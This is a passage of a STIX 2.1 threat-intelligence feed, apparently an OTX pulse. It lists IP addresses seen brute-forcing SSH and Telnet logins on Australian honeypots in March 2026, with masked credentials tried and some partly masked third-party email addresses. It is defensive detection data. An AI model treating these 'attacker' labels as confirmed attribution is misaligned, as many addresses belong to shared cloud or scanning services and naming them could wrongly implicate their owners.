      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t. Passwords observed (masked): B***********3, d****n.",
      "id": "indicator--fe7512b6-c032-4614-8b55-63bb94e7bc0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.92.182.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: UZ. ASN(s): 197984. Organisation(s): State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ.",
      "id": "indicator--564fdc5d-7c0d-4b75-ac29-96447323c239",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.107.115.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): 3**********4, r**t. Passwords observed (masked): 3**********4, A*******+, Z********3.",
      "id": "indicator--d43a0110-5570-4243-922d-f9b89cb3d577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.92.7.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 65. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): p****r. Passwords observed (masked): 1****6.",
      "id": "indicator--166d17c7-a076-40ac-838f-b5fcc527c93c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.92.7.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): t*******r, 3**********4, ***, ***, w*****r. Passwords observed (masked): 1**4, 3***********4, 3**********4, W********3, o*****s.",
      "id": "indicator--9af4bd94-7512-4b74-9052-4c74c0fe1d8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.165.17.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, s*****e. Passwords observed (masked): a******3, a*******4, d*****t, s*****e.",
      "id": "indicator--aeb6dfd7-97d3-4a66-95d4-4965015af0cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.22.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): **, 3**********4, h**n, j**a, r**t. Passwords observed (masked): 3***********4, 3**********4, a*****2, h******s, j******!.",
      "id": "indicator--d3c96059-08b5-4349-bd8b-3e998ce064ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.255.223.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): 9*******1.",
      "id": "indicator--e806a055-2aa3-43c9-97c4-8ce8a1328e37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.189.129.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): p****r, r**t, 3**********4, r***n, s******5. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, A*******+.",
      "id": "indicator--e3ec8667-8940-482e-bcd4-03621e72d10b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.75.203.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--bc9a4142-ef4e-4efc-b04f-a49ad7159a3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.242.16.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 208677. Organisation(s): Cloud.ru. Usernames observed (masked): **, 3**********4, h**n, j**a, r**t. Passwords observed (masked): 3***********4, 3**********4, a*****2, h******s, j******!.",
      "id": "indicator--4d22d84e-9fa0-47f8-89e2-7f051219504d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.232.166.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: CH. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--da0c8850-a4b3-4254-bcf6-b62d1b08c769",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.244.73.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T20:15:05.000Z",
      "valid_until": "2026-04-27T20:15:01.000Z"
    },
    {
      "created": "2026-03-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********q, 1******@, 3***********4, 3**********4, A******4.",
      "id": "indicator--18cdd615-f84f-4b13-bd52-c27eebec34a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.36.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T20:15:05.000Z",
      "valid_until": "2026-04-27T20:15:01.000Z"
    },
    {
      "created": "2026-03-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7876cd51-7f7a-4b07-adb3-dc328aa3b523",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.150.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T20:15:05.000Z",
      "valid_until": "2026-04-27T20:15:01.000Z"
    },
    {
      "created": "2026-03-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 8069. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******3, 1*******u, 3***********4, 3**********4, D********6.",
      "id": "indicator--728f2178-722e-4857-b305-c04beabb0687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.153.204.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T20:15:05.000Z",
      "valid_until": "2026-04-27T20:15:01.000Z"
    },
    {
      "created": "2026-03-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 49605. Organisation(s): Digital Telecommunication Services S.r.l..",
      "id": "indicator--2a4ec688-be93-4a45-aec7-15140aa3a3f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.112.105.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T20:15:05.000Z",
      "valid_until": "2026-04-27T20:15:01.000Z"
    },
    {
      "created": "2026-03-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--d1e65643-a655-4ca1-ba10-fd0eb43a143b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.190.52.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T20:15:05.000Z",
      "valid_until": "2026-04-27T20:15:01.000Z"
    },
    {
      "created": "2026-03-26T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c2f03b61-f3a5-4918-b28a-6292ebc32f9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.206.243.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T20:15:05.000Z",
      "valid_until": "2026-04-27T20:15:01.000Z"
    },
    {
      "created": "2026-03-26T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29091. Organisation(s): IPNXng. Usernames observed (masked): r**t. Passwords observed (masked): P***********5, a****3.",
      "id": "indicator--542403d2-0eb4-4ef1-bda5-ca908b52e77c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.184.94.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T20:15:05.000Z",
      "valid_until": "2026-04-27T20:15:01.000Z"
    },
    {
      "created": "2026-03-26T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Heralding. Target ports: 1080. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n, u**r, p***y, r**t, a*******s. Passwords observed (masked): p******d, 1**4, 1****6, \u0001******\u0000, \u0001**********\u0000.",
      "id": "indicator--39278a53-a6c6-4eaa-8ab1-8016e4513bad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.39.12.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T21:15:04.000Z",
      "valid_until": "2026-04-27T21:15:02.000Z"
    },
    {
      "created": "2026-03-26T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--029b4921-5c23-4e10-9d98-d973e923af3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.115.13.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T21:15:04.000Z",
      "valid_until": "2026-04-27T21:15:02.000Z"
    },
    {
      "created": "2026-03-26T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******x, 1*******D, 1**********$, 3***********4, 3**********4.",
      "id": "indicator--567e6424-f8b1-430d-8116-dbe0dc78795a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '148.66.132.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:15:04.000Z",
      "valid_until": "2026-04-27T22:15:01.000Z"
    },
    {
      "created": "2026-03-26T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--c835744a-b1d9-4baf-9af7-50a4e6caee6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:15:04.000Z",
      "valid_until": "2026-04-27T22:15:01.000Z"
    },
    {
      "created": "2026-03-26T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--7b521c77-177d-452b-a3a9-6551c1e53fd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.42.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:15:04.000Z",
      "valid_until": "2026-04-27T22:15:01.000Z"
    },
    {
      "created": "2026-03-26T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--dee71225-569a-48d1-8cd7-636420ff3ccf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:15:04.000Z",
      "valid_until": "2026-04-27T22:15:01.000Z"
    },
    {
      "created": "2026-03-26T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 213459. Organisation(s): Snowd Security OU. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--acc24416-b496-4e1d-a1dd-4e73885884dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.17.0.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:15:04.000Z",
      "valid_until": "2026-04-27T22:15:01.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*******3, Q**********6, Q*******6.",
      "id": "indicator--b6c40fde-4d1c-4a1d-a5ec-44c5be0769ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.141.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 147177. Organisation(s): BrownArc Enterprises Private Limited. Usernames observed (masked): c*****t@kelltech.dev. Passwords observed (masked): K**********3.",
      "id": "indicator--3f29ced9-37b5-47c6-a139-9ed56d3bda2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.174.10.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45775. Organisation(s): WISH NET PRIVATE LIMITED.",
      "id": "indicator--ca812474-0210-4ce5-8491-65a8b48649fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.219.45.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 59223. Organisation(s): CHINANET Qinghai province IDC network. Usernames observed (masked): r**t. Passwords observed (masked): q******1.",
      "id": "indicator--4d05b252-1886-4fe2-a0e3-fe7df48cd08c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.166.66.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--d95162ac-cbbe-494f-93a6-5236bb237d34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.217.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): i**o@bardengineering.com. Passwords observed (masked): b******************#.",
      "id": "indicator--777bb2e2-859a-44b3-bcad-f0a9a70b8ed5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.212.240.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS. Usernames observed (masked): r**t. Passwords observed (masked): v******l, S********************d, n********3.",
      "id": "indicator--501fe3db-e61e-41eb-9501-cba08e6957b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.176.165.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****2, 3***********4, 3**********4, A***********3, C*********5.",
      "id": "indicator--91a9c423-927d-46c6-b746-5731df1375be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.92.177.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
